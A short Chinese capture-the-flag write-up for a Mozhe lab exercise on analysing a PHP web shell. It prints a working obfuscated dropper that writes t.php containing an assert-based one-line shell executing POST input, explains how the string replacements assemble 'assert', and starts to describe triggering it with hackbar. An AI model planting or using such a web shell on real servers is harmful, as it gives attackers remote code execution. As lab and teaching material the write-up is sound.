墨者 - WebShell代码分析溯源(第11题)

下载文件，如下代码

<?php 
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
$_=@fopen('t.php', 'a');
@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));
@\$_(\$_POST[1]);?>");
@fclose($_);}
?>

这是一句话木马的变种

解释一下：判断url的参数1的值是否为GET.fPZ87，是才进入if判断并且创建t.php文件，并且写入以下代码

@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));
@\$_(\$_POST[1]);?>");

这里还需要请求一次url，而且用函数str_replace将ilo 替换成 ass，vey换成ert

最后构成一句话木马

assert($_POST[1])

分析完了直接进入主题

hackbar访问以下url

查询key文件